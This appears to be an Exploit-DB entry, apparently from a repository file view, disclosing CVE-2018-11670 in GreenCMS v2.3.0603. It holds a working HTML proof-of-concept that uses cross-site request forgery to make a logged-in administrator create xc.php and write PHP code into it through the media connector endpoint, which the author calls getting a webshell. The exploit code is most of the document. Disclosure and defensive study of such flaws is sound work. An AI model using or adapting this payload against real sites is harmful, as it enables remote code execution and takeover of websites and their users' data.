072457b6b8
4 changes to exploits/shellcodes Smartshop 1 - 'id' SQL Injection Smartshop 1 - Cross-Site Request Forgery GreenCMS 2.3.0603 - Cross-Site Request Forgery / Remote Code Execution GreenCMS 2.3.0603 - Cross-Site Request Forgery (Add Admin)
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1.3 KiB
HTML
33 lines
No EOL
1.3 KiB
HTML
# Exploit Title: GreenCMS v2.3.0603 CSRF vulnerability get webshell
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# Date: 2018-06-02
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# Exploit Author: xichao
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# Vendor Homepage: https://github.com/GreenCMS/GreenCMS
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# Software Link: https://github.com/GreenCMS/GreenCMS
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# Version: v2.3.0603
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# CVE : CVE-2018-11670
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An issue was discovered in GreenCMS v2.3.0603. There is a CSRF vulnerability that
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allows attackers to execute arbitrary PHP code via the content parameter to index.php?m=admin&c=media&a=fileconnect.
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poc:
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<span style="font-size:18px;"><!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="UTF-8">
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<title>csrftest</title>
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</head>
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<form action="http://127.0.0.1//14/index.php?m=admin&c=media&a=fileconnect" method="POST" id="transfer" name="transfer">
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<script src="http://127.0.0.1/14/index.php?m=admin&c=media&a=fileconnect&cmd=mkfile&name=xc.php&target=l1_XA&_=1527839615462"></script>
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<input type="hidden" name="cmd" value="put">
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<input type="hidden" name="target" value="l1_eGMucGhw">
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<input type="hidden" name="content" value="<?php phpinfo();?>">
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<button type="submit" value="Submit">WebShell</button>
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</form>
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</body>
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</html></span>
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References:
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http://www.iwantacve.cn/index.php/archives/38/
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http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11670
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https://github.com/GreenCMS/GreenCMS/issues/108 |